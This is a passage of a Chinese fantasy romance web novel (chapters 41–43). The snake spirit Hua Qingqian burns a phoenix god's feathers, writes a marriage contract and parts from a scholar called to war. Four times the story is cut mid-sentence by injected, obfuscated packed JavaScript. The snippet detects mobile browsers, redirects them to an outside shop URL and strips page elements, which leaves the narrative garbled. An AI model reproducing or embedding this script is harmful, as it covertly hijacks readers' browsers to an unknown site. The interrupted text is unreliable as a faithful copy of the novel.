“不必如此,清浅。”他说,“你还没有准备好,我不会逼你,你也不要逼自己。等到时机成熟,水到渠成,我自然会再呈上彩礼。” 花清浅不依不饶,抓住他流连在她脸侧的指尖:“可是我怕夜长梦多。这次考完试,你多半要做状元,那皇上万一给你来个殿前赐婚——” “你放心,漫漫长夜,我是从不做梦的。”东方容楚抚着她的侧脸,一本正经地道,花清浅刚要感动,却听他继续说道:“比如,我就很清楚,天家肯定看不上我做女婿。” 花清浅咬牙:“你还真会说笑!” “我只是想让你别太紧张。”东方容楚拉着她的手,柔声道:“话本里那些殿前赐婚云云,多半都是编的。只要我拿定主意,没有人能强迫我娶别的女子。” 而他肯说这番话,就代表他已经拿定了主意。 花清浅知道他的品性,当下也真不再担心。她是想做进士娘子,但东方说得对,她眼下还不敢接受他过于隆重的心意。 成婚和简单的谈情说爱可不一样,东方这边父母双亡,仪式还可以从简,但按照蛇族的规矩,她在嫁人前是一定要告知爹娘、请求皇天后土赐予祝福的。若是更隆重一些,还要请山川或是辰星等上古造物给予见证。 在西陆时,她与那头苍鹰是假装成婚,也就没有固守那么多规矩。后来与赵刑西成婚,她可是正儿八经焚香禀告了阿娘,又被他带去上界,拜过天地,在南海之滨的神光拂照下签了契约。 虽然东方容楚是个凡人,但花清浅也不想委屈了他。成婚之事,当然要走妖族和凡间两套流程,一样东西都不能少。 她将他送出门,顾忌着夜色已深,不想吵到别的房客,悄声同他道: “我们妖族同凡人成婚,这婚姻之契要从新拟定,确实有点麻烦。但你也放心,只要不出什么意外,本月之内我必能准备好一切,你等着娶我就是。” - 花清浅没有想到,前一夜她刚刚说“不出意外”,第二日玉京子就能给她捅出点意外。 用早膳时,因为东方容楚的吩咐,店家没再奉上定胜糕一类的齁甜点心,而是端了些云吞、肠粉过来。吕浮白还说他收了些慕城送过来的地禾角,就放在他房里,花清浅想吃的话可以去尝一尝。 虽然霖黄果就在盘子里,但花清浅到底还是吃惯了原版正装的地禾角,当即与他一起回房拿果子去,顺便给东方容楚和玉京子各带了一个。谁知回来时刚走进雅间的门,便听玉京子声音洪亮地道: “……我说真的,不信你去翻清浅的乾坤袋,那神君的羽毛至今还在最深的那一层好好收着呢。” “你们在说什么?”不详的预感席卷全身,她急急飞奔到玉京子身前,瞪着他问:“怎么忽然说起了神君?” “没什么,就是这书生自诩对你最为了解,却连神君是谁都不知道,我就给他讲了讲你的情史……”玉京子看到她眸中怒火,这才明白过来他被套了话,越说声音越小,最后一句简直像是蚊子在哼哼。 花清浅放下手里的地禾角,缓缓攥起双拳,恨不得给这条愚蠢的猪鼻蛇头上捶两个大包,下一刻想起东方容楚就在身后,又只能把玉京子暂且搁下。 “我、我不是故意要瞒着你的。”她转过身,对上他近乎意冷的视线,心里忽然打了一个寒颤,不再掩饰,说出了真话: “好吧,我是故意要瞒着你的,但、但那是因为我害怕你嫌弃我——其实我与神君已经没有半点关系了,真的,玉京子惯会瞎说话,你千万不要信他!” 东方容楚轻声开口。 “清浅,我不是那等迂腐儒生。你从前爱过谁,只要你能放下,我都不介意……可事到如今,你还要对我撒谎么。” “我没有撒谎啊?” “你放才说,你与那位神君已无半点关系。”他温和的声音里有一丝疲倦,“若是没有撒谎,那他的东西,为何会在你的乾坤袋里。” 花清浅一愣。 此时玉京子知道闯了大祸,忙挤眉弄眼地朝她支招,示意她随手变个乾坤袋出来,先把东方容楚糊弄过去再说。 花清浅不想再对东方耍小聪明,却也不知该如何解释,一时僵在原地。东方容楚看她这般模样,居然也生不起气来,只苦笑一声,垂眸离开了雅间。 在他身影消失后许久,花清浅的神志似乎才刚刚归位,她慢慢抬起手,玉京子以为她要扇他巴掌,闪电般捂住他那张俊脸。 花清浅却根本懒得理他。她唤出乾坤袋,灵光闪动,里面封存完好的神君羽毛赫然出现在手心。 此前吕浮白一直站在她身边,一言不发作壁上观,对东方容楚这场闹剧视而不见。直到她召出傅玄羽毛,他才料到了她要做什么似的,失声叫道:“等等——” 他朝她伸出手,可是已经来不及阻拦,带着寒意的八苦清火从她掌心燃起,照得人睁不开眼,火焰燃烧迅捷至极,顷刻间就吞没了凤凰最绚丽的几根鸟羽。 “你干嘛要烧了这些羽毛啊?”玉京子被她此举震住,百思不得其解,小心翼翼地问,“你不是说,这些羽毛来之不易,克化之后可得千年修为,如今一把火烧光了,还怎么克化?” “因为此物,东方误会我对神君……留有旧情,他伤心了。”想起东方容楚离开时的神色,花清浅心中一悸,“让他伤心的东西,我断不能留。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533071|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可那毕竟是千年修为,值得她冲冠一怒为蓝颜么。玉京子暗暗腹诽,但瞧着她斩钉截铁的表情,也不敢多说,生怕她掌心的火焰下一刻就要烧到他的身上。 花清浅转向吕浮白:“我知道此举对神君不大尊重,但神君既然已经把羽毛给了我,这些就是我的东西了,我烧一烧自己的东西,没触犯天条吧?” 吕浮白闭了闭眼睛,沉默着摇头。 “那就请你放尊重一点,别用一副我触犯了天条的样子看着我!”她因为东方的事气性上头,语气很硬,声量也没怎么收敛。 吕浮白一直都知道,她骨子里是条爱之欲其生的小花蛇。在长生界的时候,她恨不得每天都缠在傅玄背上讨要他的羽毛,不为克化获得修为,只为天天看着。 爱之欲其生,爱之欲其生,现在她恶之欲其死。她说过本来不恨他的,可眼下他惹她心爱的书生吃了醋,她大约真恨不得他死了干净。 其实,他也恨不得他死了干净。 吕浮白在她气势汹汹的目光里点点头,看着她转身去追东方容楚,一瞬间有些茫然地想起,从前的日子里,他其实没有来得及给她很多东西。 在她假死时,他送她的大部分礼物还放在长生界,她从没有来取过。只有一身羽毛放在乾坤袋里,常伴她身,是他留在她身边为数不多的痕迹。 而这点最后的痕迹,也终于消失在了她因东方容楚而起的掌心之火里。 - 花清浅走后,吕浮白仍雾茫茫站在原地,玉京子看他眉宇间一片失落,以为他是因神君羽毛被烧而心痛不已,叹了口气道:“哎,清浅就是这副性子,你别怪她。” “我不怪她。”吕浮白说道。 他真的不怪她。 从天地之间降生的那一日,凤凰神力便是得天独厚,还身负长生之能,剧毒毒不死他,幻境网不住他,刀枪剑戟伤不到他,就算是上百位大能合力的一击,也能被他轻易挥翅化解。 可万事万物此消彼长,遵循平衡,凤凰当然不会毫无弱点——他不会随着时间消逝,却会因为道侣的抛弃心碎而亡。 眼睁睁看着花清浅朝他人心动的那一刻,吕浮白耳畔就已经响起了凤凰的悲鸣。他比任何人都清楚,再这样下去,他是撑不了多久的。 饶是如此,他也不怪她。 只要能陪在她身边,多待一分一秒也好,这条命就此奉上,他心甘情愿。 “哦哦,你别生气就行。”刚才花清浅朝他凶了点,玉京子生怕他转头就跟大明王告状,如今没了这个顾虑,顿时松了一口气。他捡起花清浅撂下的地禾角,啃了一大口,说道: “这次怪我嘴上没把门的,但你们取这地禾角的时机也真巧,饭桌上正好留我和那东方两个人,他那么精,我哪能斗得过他?以后别让我跟他单独相处,这书生太阴险,看着就晦气。” 吕浮白沉默片刻,听到最后,才声音极轻极浅、自言自语般反问了一句。 “可是,难道还要让此人,在她身边赖到‘以后’么?” 41. 第41章 花清浅在客栈的后花园里找到了东方容楚。 他坐在迎春花前煮茶,听见她的脚步也没有躲开,回头淡淡看她一眼,给面前的桌上多添了一盏茶。 她在小桌对面坐下,在周围画了个结界,随后抬起手,让他看她手心残留的灰烬。 “这是八苦清火留下的余烬。”她一字一句地说,“灰烬不会说谎,这便是我的心意。” 八苦清火,覆水难收,烧毁了的物件无法再复原,同时也能测试心意,妖族皆知。如果她对傅玄还存有一丝一毫的妄念,八苦清火绝不会烧掉他的羽毛。 她简单解释完八苦清火的原理,并没有给东方容楚插话的机会,马上继续一股脑地道: “实话跟你说,我其实根本不是什么淑女,性子娇纵又蛮横,诗词歌赋没背过几篇,平日里看的都是修炼典籍,还有不入流的话本子,品味一点也不高雅。” “而且我爱过的人不止傅玄一个,我还爱过西陆妖尊、爱过朱雀上神,我就是这么情史斑斑,这颗心破破烂烂,你想要就要,不想要就算——” 她还没说完,便见东方容楚霍然起身,她没反应过来,被他一把拉入怀中。 “……清浅。”他轻抚她有些散乱的发丝,温热的呼吸紧挨着她头顶,弄得她微微发痒:“我怎么会不想要你。” 他虽是第一次与人谈婚论嫁,却也知道不该过分纠结于心上人的过去,只想在有生之年求一个将来安稳。其实她都不用搬出什么八苦清火,只要说一句今后对他一心一意,他都能让那几根羽毛继续在她乾坤袋里呆下去。 “那、那可不行,凤凰羽毛多惹人觊觎,若是传出去指不定会有妖来抢,如今烧了挺好的。”花清浅伸出手,被他拿来清水沾湿巾帕,细细擦拭着手心黑色的余烬,手上湿润一片,没话找话地说道。 东方容楚抬眸,含着笑意看她一眼。她几乎要被他眼中的宠溺淹没,指尖下意识蜷了蜷。 二楼雅间,吕浮白孤身一人立在窗前,看着后花园内花清浅晕晕乎乎的样子,心中泛起一阵阵细密又尖锐的疼。 - 经过这次误会,花清浅心中的安全感倒是更厚了一层:即使吃醋,东方容楚也这么情绪稳定,可见是个能托付终身的人,与他过日子一定不会一言不合就吵架。 于是她不再偷懒,开始正儿八经撰写婚契。玉京子因为之前口无遮拦,被她拉来做苦力,而吕浮白是上神,懂的东西多,也被她请来当参谋。 这日花清浅支走东方容楚,把两人叫进她的房间里,在桌上排开八张大纸:“帮我看看,哪种纸张做契书更好一点?” “我为什么觉得这场景似曾相识?”玉京子皱着眉说道。 花清浅和蔼可亲地告诉他:“从前在蛇谷,这也是我每日心血来潮都要问你的问题。” 当然,那时的契书上,另外一个名字是傅玄。 吕浮白从原地惊起:“你曾做过与神君的婚契?” “做过,不止一张呢。”花清浅笑道。 那时她自信满满,总觉得不多久就能修成应龙,向神君求亲指日可待。为显诚意,婚契这些可不得提前准备好? 提起这茬,她还在乾坤袋深处翻了翻,找出一沓布满灰尘的废纸:“那时候作废的婚契,数数有好几百张了。” 妖族族内签订婚契时最为方便,一般可以套用模版,签名字就可以,婚契上附的术法自会形成天长地久的婚约。 然而,若是与他族签订婚契,契书上的措辞就得大改,术法也要做相应的调整。虽然各界都有专门负责婚契的人士,但花清浅总觉得,婚契要自己拟定才好。 因为婚契惯用的那套誓词,有些话不能用在傅玄身上,譬如“若违此约,万丈光炎焚身而死”就不妥,傅玄本身就是万火之主,又是不死鸟,区区烈火哪能伤得了他? 除此之外,她也不想让他人假手婚契。她那时还做着与一人相守一世的美梦,一切都要自己亲手过一遍才行。 于是她从纸张选用的灵木挑起,对契书的每一个字仔细琢磨,忙里偷闲、见缝插针地请教天界月老红娘,自己学着修改婚契。 她用了精心挑选、记忆长久的惊鸿木做灵纸,对术法做了臻于完美的修改,到最后那张小小婚契足以承接凤凰神君磅礴的神力。 万事俱备,只欠求亲,可是没有想到,那张婚契最终还是被扔在乾坤袋底层,压在一堆珊瑚石头下积灰。 “你为了和神君在一起,居然做了这么多。”吕浮白艰涩出声,眼底汹涌暗流复杂难辨,“可他一点也不知道。” 他怎么能一点也不知道。 孔雀世子居然会责怪鸟族至高无上的老祖宗?花清浅有些疑惑地抬头,“不至于,我做这些也不是白做,起码积累了改婚契的经验嘛。” 婚契也不是能改就改的,契书上的术法自上古流传,玄妙莫测,一个不小心就会酿成大祸。 据说从前西陆有个大妖想与一个凡人男子结契,灵机一动在契书上加了句“戒贪戒痴,和顺性情”,结果成契的当日,凡人男子就被术法变做了女子,怎么变也变不回去。 如今花清浅精通婚契术法,这样的闹剧才不会发生。 两人谈话间,一旁的玉京子挨个看完八张大纸,还真给出了评价:“我看这张纸不错,桃木做的,有股桃子的香气。纸面还泛粉,看着颜色也好,衬你的脸。怎么样?” “行,那就用这个。”花清浅爽快地决定,拿来一把剪刀,把大张的桃花木纸裁出婚书大小。 她并没有将其他纸张收回乾坤袋里,而是与作废的上百张婚书一起投进了壁炉。 吕浮白看着她的动作,眸光微颤。他知道,她这是认定了东方容楚,不仅要与他做百年的夫妻,还要去黄泉底下寻他,此生都不分离,如此一来,自然再用不到其他的婚契。 她就这么容易认定一个人吗。 “吕浮白,以你之见,能对凡人加真言咒么?”花清浅写着婚契,忽然抬头问他,“如果不行的话,我就把这契书上的灵力减弱一点。” 见他仍在出神,她忍不住重复一遍:“吕浮白? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545933|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世子殿下?” “……可以的。”他视线重新聚焦,不着痕迹地掩饰住了什么,对上她探寻的目光答道:“可以的,你尽管放心就是。” - 贡院的速度几乎和花清浅写婚契的速度一样快,一月之后,本次会试的名次已经张贴在墙外。 东方容楚没有去看榜,他陪着花清浅坐在上房里,等看榜的玉京子回来报信。她正在婚契签名处用灵力勾画好最后一笔,保证东方容楚的签名如妖族落笔,牵动神魂,就在此时,玉京子的身影出现在门口。 “怎么样了?”她一把丢掉契书问道,“东方是第一么?!” 此前她观面相已经清楚,东方容楚不可能不上榜,但他是否能做会元关乎王朝气运,牵扯重大,她也没把握断定。 玉京子臭着一张脸:“是啊。”待瞅见花清浅眼里满满的暗示,他才转向东方容楚,敷衍了句,“恭喜啊,会元老爷。看榜的人说之前乡试第一也是你,运气真好。” “这哪是运气,这是东方勤学苦练日夜不辍的结果,他应得的!”花清浅惊喜之余不忘求亲计划,反手推了玉京子一把,让他按照两人提前商量好的流程,把吕浮白带走。 玉京子不情不愿走到吕浮白跟前,同他传音:“走,清浅要跟这个凡人双宿双飞,咱们在这碍眼了。” 方才东方容楚身中会元,都没有什么反应,此刻见花清浅要把旁观的两人支走,一张俊脸倒是浮现了点点笑意,饶有兴致地看向她。 不知为何,吕浮白走出门的步子分外拖沓,花清浅耐下性子,等他好不容易离开之后才开口: “咳咳,婚契都放在这里了,我接下来要说什么,你应该也知道。就是,嗯,古话说得好,洞房花烛夜,金榜题名时,你想不想来一个双喜临门?” 她一面说着,一面强装淡定,把婚契递到他手上。东方容楚含笑翻开,刚刚看到第一个字,就听“砰”地一声,大门被人从外用力推开,狠狠砸到墙壁上。 两人抬头看去,来人乃一队兵士模样,俱是身着金甲戎装,为首一位厉声喝道:“东方容楚何在!” “他怎么了?”花清浅看出来者不善,以为有人陷害东方容楚考场作弊,忙抢先辩解道,“我们东方才学可是一等一的,这个会元当之无愧,我给他作保!” 那位为首的将士却对她理也不理,兀自走上前来,对东方容楚双手抱拳作了个礼。 “在下自墨州北境而来,受东方老将军之托,请东方公子速速前往墨州议事!” 在他开口以前,队尾的兵士便警觉地关上了门,屋里的气氛骤然逼仄紧张起来。东方容楚放下婚契,护在花清浅身前,问道:“议什么事?” 为首将士看了花清浅一眼。 “她是我未婚妻子,没什么不能听的。”东方容楚皱眉说道。 “潁朝国主与魔族走狗勾结,从南北两线朝咱们攻过来了!” “墨州腹背受敌,东方老将军焦头烂额,眼下只能苦苦支撑而已。在下奉命来请公子亲临墨州,扭转战局!” 42. 第42章 数百年来,潁焱两国一直征战不断,若不是魔族在穎朝境内作乱,潁朝元气大伤,大焱夺回所有失落的土地后立即提出和谈,恐怕两国现在还在打仗。 潁朝因天时地利输人阵仗,国主薄日氏心中自然不服,他多年筹谋,最终竟不顾劝阻、举国之力与魔族合作,只为报复大焱。 魔族对上凡人,犹如对上一堆纸皮包着的美味佳肴,战力自然是摧枯拉朽。短短三日不到,墨州境内已经死伤惨重,东方老将军勉力支撑才堪堪没有失守,但他也撑不了多久了。 “数万魔军压境,墨州危矣、我大焱边城危矣!老将军请援的密信已送至宫闱,在下奉圣上口谕,命公子不用参加殿试,可破格提为今科状元,即日率援军前往墨州剿寇!” 为首将领言辞恳切,花清浅却听得云里雾里:“等等,大焱危矣我明白,那位老将军大概是东方的叔父,我也明白。但他要东方过去做什么,东方是文人,又不是能上阵拼杀的武将——” “他是军师!”那将领激动地叫道,“东方公子自幼能谋善断,当年一封《论治妖疏》上达天听,短短二百余字,十五条计,便将鳄妖大军挡于五门峡关之外……老将军说了,只要他肯来,墨州一定保得住!” 花清浅仿佛第一次真正认识东方容楚,震惊地瞪着他的侧脸。东方容楚看她这副神情,就知道她在想什么,无奈摇了摇头,转身请那位将军与所属人马出去,与她单独谈话解释。 他亲自将几位将士送出门外,要关门时,却撞上另一个人幽深的视线。 是吕浮白。 他双唇紧闭,声音却在东方容楚耳边冷冷响起:“既然有事要做,就速速动身,不要耽误她。” 他连花清浅的名字都不叫,语气倒是亲昵得很。如此刻意的炫耀,如此不加掩饰的敌意,东方容楚早就知道,他对花清浅别有心思。 他顿了一顿,拉上了门。 - “《论治妖疏》是什么玩意,嗯?”在他关上门后,花清浅果然凉凉问道,“我们妖族是哪里出了问题,需要你们凡人来治理?” 东方容楚看着她道:“那时鳄妖大军压境,关乎京师危亡,我那封奏疏只是针对此事,绝无贬低所有妖族的意思。” 花清浅哼了一声,说道:“那你把婚契签了,我就不生你的气。” 她把羊毫笔塞到他手里,只字不提墨州的事,试图装作什么都没有发生过的样子,一心哄他签了契书再说。 东方容楚却没有动。 “你这是什么意思?当上了状元,就要对我始乱终弃,是不是?!” “我要去墨州了。”他向来温润的嗓音变得有一点哑。 “那又怎样,我陪你一起去!” “薄日氏与虎谋皮,前线魔气四溢,你是妖族,去了恐被影响。”他说,“潁朝举国入侵,此去战线不知多久,我确实不能耽误你。” 大焱危亡在即,作为大焱子民,他不能不去墨州,即使赴死也是理所应当。但花清浅并不是大焱子民,凡人之间的征战,没道理要把一条借住凡间的无辜小花蛇牵扯进去。 花清浅不管不顾,捉着他的手就要往婚契上按指印,他却顺势反手拽住她手腕,第一次将她不由分说摁进怀里。 “对不起。”他闭起眼说道,“你我究竟还未成婚,是我控制不住,一时孟浪——” 还好,他们究竟还未成婚,她还可以寻觅良人,另结佳偶。 花清浅紧贴在他胸口,如愿听到他沉稳有力的心跳,两人此前从未靠得这么近过,可在这一瞬间,她却莫名觉得他已经离她很远很远。 她惊慌失措地抹了把眼睛,这才发现不知何时眼周已经一片湿润:“你别想抛下我!我好不容易拟好的婚契,你敢不签,我、我这辈子就再也不理你了!” 东方容楚温热的手掌轻抚她被红纱覆裹的白嫩后颈,妄图抚平她所有的焦躁不安,却没有接她的话茬,语锋一转道: “当初慕城初遇,我本意其实并非求助于你。那时多地设立天法司,所纠集的奇人异士却是良莠不齐,甚至仗着法力横行霸道,鱼肉乡里。我本想借厉鬼之事试探慕城天法司,却不料天法司将我直接推给了你。” “我怕你与天法司勾结,沆瀣一气,便顺势登门你的小院,其实是为了考察你与知府的关系,探查你是否有真材实料,是否高价要挟苦主。” 事实证明,她不仅法术高超,甚至还不要银子。几日下来,他看出她是个清明心善的好妖,便以为此间事了,趁机告辞,她却死活不肯让他走,一心要送他这个文弱书生上京。 听罢他一席话,花清浅像是七寸都被他捏住,怔怔地僵在他怀中,过了良久才发出声音。 “你现在告诉我这些,是想说什么?就算你接近我心思不纯,可你敢说你不喜欢我?”她出离愤怒地扬起脑袋,甩开他那讨厌的温暖的手:“你以为搬出这些,就能叫我对你死心吗?” 他以为她分不出来,他对她是真心还是假意?她有这么笨吗?! “……我告诉你这些,是想叫你小心。”他捧着她的脸颊,过于温柔的目光深深望进她眼底,语气里的爱怜与不舍险些漫溢出来。 她自诩情史丰富,却连他刻意的接近都看不穿。世间人心多险恶,她虽本领高强,平时看着也不傻,可偏偏一旦动情便对谁都没有戒备,叫他无论如何放心不下。 “玉京子涉世比你还浅,帮不上你什么。那位吕浮白——” 想到此人在她面前装得极好,背地里却对他三番四次的针对,东方容楚几乎想说此人两面三刀,要她疏远他,不要给他可趁之机,更不要同他在一起,话说出口,却变了一番模样。 “那位吕浮白虽然城府深沉,可他是真心为你好。日后我不在你身边,若你遇到什么事拿不定主意,可听听他的话。” “这么啰嗦,你交代遗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555840|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言呢?”花清浅眼里蓄的泪珠纷纷滚落,用力一挣,离开了他的怀抱: “东方容楚,你以为我是什么人,我可是蛇妖,有的是法力和手段!我就是不许你去墨州,就是要留你在此地与我成亲,你且试试看,你能不能出得去这个门!” 她语气凶得很,泪水流得更凶,一片朦胧间,东方容楚那双温润的眉眼似也不复往日淡定:“清浅,我意已决……” “好,好,好,你意已决,不叫我跟着你,也不肯留下。”花清浅捏好法诀的手指颓然松开,“那你是一定要抛弃我了?” 他看着她湿漉漉的长睫,心疼得快要碎掉:“对不起——” “我不要你说对不起。”她极力压抑着嗓子,“你只记着,今日是你不要我,我不会等你的。妖族最多情了,一个凡人算什么,我不到十年便可忘了,我会与一个比你好千百倍的人成亲,你不要后悔!” 她都暗示到了这个份上,凡间的战事算什么,只要他肯说一句让她等,或是许一个来世之约,她都能在百年之后下探阎罗殿,把他的魂魄捞出来。 东方容楚平日里的聪敏与三寸不烂之舌却忽然消失了似的,他仿佛听不出来她的言外之意,只说:“对不起。” “你就没有别的话可说吗?”花清浅简直要被他气笑了,干脆放下面子挑明了道: “我不是凡人,十年百年对我来说不算什么,只要你想,现在签了这婚契,就算你死在前线,我也来得及去接你的转世。” 她这提议实在太过诱人,东方容楚明白,他再也不会遇上一个这样痴心的妖了,眼下签了婚契,对他有百利而无一害。 可是妖族的时间也是时间,她虽寿命漫长,他也不能让她白白守几十年的活寡。 于是最终,他仍是只有一句:“对不起,清浅。” 他拒绝的语气缓慢而坚定,花清浅逐渐意冷,转过头去,错过了他紧皱眉峰下眷恋的一双眼,像是凝结了毕生认命的不舍与温柔。 - 数十日前,大刀牛筋面馆。 “楚公子!自从东方将军远走驻地,咱们多少年没见了,有十年了罢?” 东方容楚含笑点头:“老伯记性还是这样好,精神矍铄得很。实不相瞒,晚学今日冒昧前来,是有一事相求。” “晚学有一心上人,想着明日带她来此间用膳,不知老伯可否相助一二……” 翌日从面馆出来,花清浅大叹天赐良缘,说若不是这次巧合,不知道他什么时候才肯对她表明心迹。 其实哪里有什么天赐良缘,东方容楚心知肚明,从小他便不受天道眷顾,父母早亡,亲戚离散,碰上的人知道他的身份,奉承他大都是别有用心,想趁机接近墨州守将。 前半生颠沛流离,好不容易碰上一条真心对他好的小花蛇,他怎能不费心谋求。 他看着花清浅满足眯起的水眸,附和着她道:“是,天道待我不薄。” 43. 第43章 客栈一楼,玉京子从那队将士口中得知了东方容楚的身份,不由大为震惊:“我还以为他就一穷酸书生,居然这么厉害……” “不对,他要是去墨州,清浅是不是也得去?”他越想越害怕,“魔族盘踞之地啊,我可不敢去那鬼地方!” 吕浮白在一边淡淡道:“她不会去的。” “那她怎么办——她跟东方容楚要分开?”玉京子看看那队正襟危坐的将士,又看看神色莫测的吕浮白,脑子里忽然蹦出一个可怕的想法。 他倒抽一口冷气,胆战心惊问道:“世子、世子殿下,这、这些军汉不会是你召来的吧?” 为了支走东方,让清浅与神君重归于好,这种事他好像也不是做不出来—— 吕浮白清冷的面容在他眼里一下子变得病态偏执,他吞了口口水,自以为不着痕迹地坐远了些。 “不是。”吕浮白看了他一眼,目光又转回楼上,“潁朝与大焱开战,关系重大,此乃凡人自生的因果,并非是我干涉。” 玉京子松了口气:“那就好,那就好。”还好,世子还没那么疯。“不过清浅这次可要伤心了,她一直以为那书生就是她的正缘。” “能被拆散的,都不是正缘。”吕浮白眸光笃定,平淡地道。 - 东方容楚离开时,花清浅连楼都没下。 那队将士簇拥着东方容楚走远,吕浮白与玉京子两人来到楼上,发现她正立在窗边,隔窗望着书生纵马飞奔的背影。 “清浅,你别太难过了。”玉京子想当然地安慰她道,“你这样想,东方容楚是墨州守将的亲侄子,那他去了墨州,他叔叔肯定会给他安排美人,叫他娶妻生子。他不会惦记你多久的,你也别惦记他了。” 花清浅听着他的话,若在以前,她的想法会和他一模一样,只要认定东方容楚迟早是个负心汉,一切遗憾和后悔的情绪都会很快烟消云散。 可这次不同。 她手里握着腰间的香囊,摸到里面那块不知何时放进去的月光珠玉,怔怔地想。 这次不同了,因为东方容楚确实已经把最好的给了她,天命待他实薄,他却真的为她争过。 看榜人报喜的声音逐渐响彻整条街,与此同时,远处东方容楚骑马的背影逐渐淡去。 只是若真要争,一介凡人,怎么争得过天命,怎么争得过书写天命的神明。 - 东方容楚离开之后,花清浅着实伤神许久,连三月桃花开遍的繁华京都都懒得看,一心只想回到慕城的小院子里盘起来。 最后一次在客栈用早膳,她食不知味咬了口虾饺,不经意间抬头,发现吕浮白的脸色倒像是明朗了些,不似前几日那般横眉冷眼。 这个幸灾乐祸、看不得人好的臭孔雀!她就知道,鸟族果然没一个好东西,她就知道! 她心里立刻燃起一股无名火,正要抛下筷子,旁边的玉京子却忽然拍拍她的手,对她挤眉弄眼: “咱们好不容易从慕城出来玩一趟,这么快就回去太可惜了,干脆在五门峡多呆两日,好好欣赏欣赏峡关风景吧?” 花清浅没有拿他撒气,但也挤不出笑来,语气闷闷道:“算了,我没那个心情。” “到了五门峡你就有心情了,我保证!” 花清浅听着他莫名昂扬的声调,也没细究:“那行吧。” 她吃掉虾饺,就再没了胃口,将盘子里最后一块油炸绿豆糕拈给他,自顾自回房去收拾行李。 玉京子捧着绿豆糕,笑得一脸洋洋得意,吕浮白觉察到不对,问他:“你在五门峡做了什么?” “自然是为清浅准备了惊喜。” 吕浮白看向花清浅过分纤瘦的背影。 东方容楚刚走,她抑郁不乐多日,他想尽办法也没能让她走出来。若玉京子真能让她收起愁容,展颜一笑,那也没什么不好。 两日之后,五门峡。 吕浮白去桥头老店买豆粉年糕,玉京子趁机蒙起花清浅的眼睛,将她带到五门峡春水湾的一艘画舫上。 蒙眼的布料是上好绸布,到了地方,玉京子轻轻一拉,那块绸布便顺着她精致白皙的鼻梁滑落,她睁开眼睛,看到了两个原不可能出现的身影。 “月下,山下?”她转头去看玉京子,“你怎么把他们叫来了?” “你不是喜欢毛茸茸的鸟儿么?”玉京子把两只灰背山雀推到她面前,沾沾自喜地给自己揽功:“我联系了望湘,他可配合了,立刻就答应让这两兄弟赶来五门峡陪你消遣。” 山下还是一如既往的会哄人,他双目含情看着花清浅,神色真挚:“清浅姑娘,好久不见,你怎么又漂亮了这么多?” 不得不说,玉京子还是了解她,找来的消遣都这么合她心意。花清浅素手一抬,将画舫的帘子拉下,船舱内顿时被遮得严严实实,山下浮起笑意,正要探身服侍她脱衣,却被她制止了:“你干什么?” 山下被问得一愣,有些不确定地看了眼玉京子,反问:“那姑娘降下帘幕,是想让我们干什么?” “想让你们变回鸟啊!”花清浅理所当然道,“快点变,我要枕在你们身上游湖。” 山下一时哑口无言,默默在原地变回原形,月下也紧跟着变成一只高壮山雀,躺在画舫栏杆边敞开出柔软蓬松的胸羽。 花清浅没有变成小花蛇,只是垂着脑袋搭到山雀柔软的腹颈处,从画舫垂下的帘幕缝隙里看向外边。 暖风掠过春水表面,无比妥帖地吹到人脸上,吹到人心里,仿佛能够抚平一切遗憾和苦痛,温柔得让人沉醉。 花清浅看向碧色湖面,想起当初东方容楚自冰天雪地中而来,却温和得像是一缕化雨的春风,那样从才子佳人话本里走出来的俊朗书生,以后不会再有。 就算再有,也不会如他一般爱她。 那边玉京子见她眯起眼睛看着湖面,觉得这个惊喜很是奏效,心满意足给自己犒劳了块豌豆糕。 山下被她压在底下,离她很近,因此看得更加分明。她目光看着画舫外,浓长的睫毛轻轻一眨,便有晶莹剔透的水珠从她眼眶无声滚落,消失在他的羽毛里,让他前胸沁出一股钻心的凉。 “怎么回事,尊后怎么哭了?”他火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565840|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急火燎地看向弟弟月下,用灵力跟他传音,“尊上疑似陨落在星沙海的消息不是还没传开吗?是谁给尊后泄了密?” 